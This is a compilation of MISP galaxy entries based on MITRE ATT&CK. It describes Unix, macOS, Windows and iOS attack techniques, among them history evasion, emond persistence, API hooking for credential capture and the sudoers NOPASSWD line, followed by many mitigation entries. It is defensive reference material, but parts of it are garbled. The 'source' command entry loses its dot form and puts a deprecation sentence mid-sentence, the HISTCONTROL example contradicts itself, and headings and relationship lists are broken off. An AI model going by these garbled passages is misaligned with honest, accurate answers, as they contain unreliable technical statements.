The `<code>source</code>` command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways `<code>source /path/to/filename [arguments]</code>` or `<code>source /path/to/filename [arguments]</code>. This technique has been deprecated and should no longer be used. `<code>/path/to/filename [arguments]</code>`. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell’s environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

The tag is: `misp-galaxy:mitre-attack-pattern="Source - T1153"`

**Trap - T1154**

The `<code>trap</code>` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful
termination and handling of common keyboard interrupts like `<code>ctrl+c</code>` and `<code>ctrl+d</code>`. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format `<code>trap 'command list' signals</code>` where "command list" will be executed when "signals" are received. (Citation: Trap Manual) (Citation: Cyberciti Trap Statements)

### HISTCONTROL - T1148

The `<code>HISTCONTROL</code>` environment variable keeps track of what should be saved by the `<code>history</code>` command and eventually into the `<code>~/.bash_history</code>` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `<code>HISTCONTROL</code>` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ls” will not be saved, but “ls” would be saved by history. `<code>HISTCONTROL</code>` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

The tag is: `misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148"`

HISTCONTROL - T1148 has relationships with:

**AppleScript - T1155**

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the `<code>osalang</code>` program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.

Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `<code>osascript /path/to/script</code>` or `<code>osascript -e "script here"</code>`.

**Emond - T1519**

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch
Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

**Sudo - T1169**

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

The tag is: *misp-galaxy:mitre-attack-pattern=*"Sudo - T1169"

Sudo - T1169 has relationships with:
Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)

- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014) to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

The tag is: `misp-galaxy:mitre-attack-pattern="Hooking - T1179"`

Hooking - T1179 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"
**DNSCalc - T1324**

This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).

DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)

The tag is: `misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"`

**Phishing - T1566**

Adversaries may send phishing messages to elicit sensitive information and/or gain access to victim
systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victim’s emails containing malicious attachments or links, typically to execute malicious code on victim systems or to gather credentials for use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Phishing may also be conducted via third-party services, like social media platforms.

The tag is: `misp-galaxy:mitre-attack-pattern="Phishing - T1566"

**Keychain - T1579**

Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users’ passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.

On the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database. (Citation: Apple Keychain Services) (Citation: Elcomsoft Decrypt Keychain)

## Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"

Custom Command and Control Protocol Mitigation - T1094 has relationships with:
Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker; (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"

Image File Execution Options Injection Mitigation - T1183 has relationships with:

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to...
prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPS. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

DLL Search Order Hijacking Mitigation - T1038

Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>) to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows...
Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

**File System Permissions Weakness Mitigation - T1044**

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

Turn off UAC's privilege elevation for standard users

```plaintext
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
to automatically deny elevation requests, add:
"ConsentPromptBehaviorUser"=dword:00000000
(Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding:
"EnableInstallerDetection"=dword:00000001
This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add:
"EnableInstallerDetection"=dword:00000000
This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.
```

Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

Extra Window Memory Injection Mitigation - T1181

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

**Exploit Public-Facing Application Mitigation - T1190**

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"

Exploit Public-Facing Application Mitigation - T1190 has relationships with:

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. **Compile After Delivery Mitigation - T1500**

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories.
with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

Standard Cryptographic Protocol Mitigation - T1032

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

Custom Cryptographic Protocol Mitigation - T1024

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

### System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on
preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"

System Time Discovery Mitigation - T1124 has relationships with:

**Browser Bookmark Discovery Mitigation - T1217**

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Browser Bookmark Discovery Mitigation - T1217 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 3076. Table References
Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: *misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation - T1128"

Netsh Helper DLL Mitigation - T1128 has relationships with:

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"

Remote Access Tools Mitigation - T1219 has relationships with:
External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: *misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"*

External Remote Services Mitigation - T1133 has relationships with:

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation
opportunities.

The tag is: misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"

Access Token Manipulation Mitigation - T1134 has relationships with:

Password Filter DLL Mitigation - T1174 has relationships with:

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: <code>misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"</code>

Spearphishing via Service Mitigation - T1194 has relationships with:

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

https://attack.mitre.org/mitigations/T1168

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as `C:\Windows`, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA
MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

**Domain Generation Algorithms Mitigation - T1483**

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each
instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure
proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (`<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code>` on the domain controller).

- Applying SID Filter Quarantining to external trusts using the netdom tool (`<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code>` on the domain controller) Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

### Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).

### Drive-by Compromise Mitigation - T1189

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of
client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

